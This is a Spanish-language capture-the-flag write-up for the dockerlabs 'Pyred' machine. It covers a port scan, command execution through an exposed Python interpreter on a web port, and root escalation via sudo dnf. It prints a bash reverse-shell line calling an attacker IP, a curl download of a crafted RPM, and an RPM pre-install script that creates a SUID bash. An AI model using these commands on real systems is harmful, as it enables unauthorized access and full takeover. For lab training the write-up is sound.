Post

Pyred , DOCKERLABS

Este es un reto clasificado como de dificultad medium en la plataforma dockerlabs.es . Nos encontramos con las siguientes características y dificultades , en el tendremos que localizar la entrada al sistema , envio de revshell y escalada de privelegios.

HERRAMIENTAS Y RECURSOS USADOS

  • nmap
  • Python
  • Sudo
  • fpm
  • https://blog.ikuamike.io/posts/2021/package_managers_privesc/#method-1-creating-a-malicious-rpm-package

Empezamos

Como al arrancar la maquina ya nos dice la ip nos olvidamos de arp-scan , como comprobar la conexion con un ping.

1
ping -c1 172.17.0.2

Ahora realizamos un nmap como de costumbre sin preocuparnos del ruido pues estamos en entorno de pruebas.

1
sudo nmap -p- -sSVC -n -Pn -A -vvv 172.17.0.2

800x600

Observamos el resultado y vemos que solo tiene el puerto 5000 abierto , por lo tanto la entrada esta en esa web asi que vamos a revisarla.

800x600

El codigo fuente no muestra nada pero por lo que parece es un shell interactivo de python , asi que probamos a ejecutar comandos.

1
print("loco")

Infiltración

Como hemos comprobado si que ejecuta, así que intentamos mandarnos una revshell. Para ello antes de ejecutar la rev nos colocamos a la escucha en la maquina atacante.

1
sudo nc -lvnp 443

y en la victima ejecutamos:

1
2
3
import os

os.system("bash -c bash -i >& /dev/tcp/192.168.0.112/443 0>&1")

800x600

Ya tenemos la revshell y podemos trabajar directamente en el objetivo y pasamos a escalar privilegios.

Escalada de privilegios

Como siempre empezaremos por lo mas basico buscando ficheros con permisos erroneos scripts con suid.

1
2
find / -perm -4000 2>/dev/null
sudo -l

800x600

800x600

El comando find no devuelve nada aprovechable de momento , pero sudo nos da la idea de como atacar puesto que el usuario primpi puede ejecutar dnf que es un gestor de paquetes de fedora.

Podemos usar gtfobins para averiguar como explotar esa vulnerabilidad.

Yo tengo instalado searchbins y ejecuto , donde -b es el binario al que tenemos acceso y -f indica la funcion que utilizaremos para acceder al binario

1
./searchbins.sh -b dnf -f sudo

El searchbins me devuelve lo siguiente:

It runs commands using a specially crafted RPM package. Generate it with fpm and upload it to the target.

Descargamos e instalamos la herramienta para crear el rpm.

1
2
3
TF=$(mktemp -d)
echo 'id' > $TF/x.sh
fpm -n x -s dir -t rpm -a all --before-install $TF/x.sh $TF

Debemos crear un rpm malicioso en nuestra maquina atacante , lo cual lo podemos hacer con los comandos anteriores y una vez lo tengamos subirlo a la maquina victima e instalarlo. Usaremos los siguientes comandos.

En maquina atacante :

1
python3 -m http.server

Y el la victima :

1
2
curl -O http://ipatacante/rpmcreado
sudo dnf install -y rpmcreado.rpm

Yo personalmente no acabo de entender que es lo que hacen exactamente esos comandos así que busque otra forma de hacerlo que fuera mas entendible para mi , así que hice lo siguiente.

1
mkdir exploit_rpm

Creo un script en el directorio creado anteriormente con el siguiente contenido.

1
2
3
#!/bin/bash
cp /bin/bash /tmp/bash
chmod +xs /tmp/bash

Una vez creado el script hago uso de la herramienta fpm que hemos instalado anteriormente , yo al ser usuario de arch no tengo instalado rpmbuild asi que me lance un VM de kali para realizar esa tarea y ejecute :

1
2
3
fpm -n exploit -s dir -t rpm --before-install ./exploit/exploit.sh ./exploit

Created package {:path=>"exploit-1.0-1.x86_64.rpm"}

Ahora que ya lo tenemos creado solo tendremos que enviarlo a la maquina objetivo y instalarlo y ejecutarlo como explique antes el ultimo comando que utilizo para ser root es :

1
/tmp/bash -p

Como observamos ya estamos como superuser.

800x600

Hasta aqui llegamos , un saliudo y gracias por leer.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.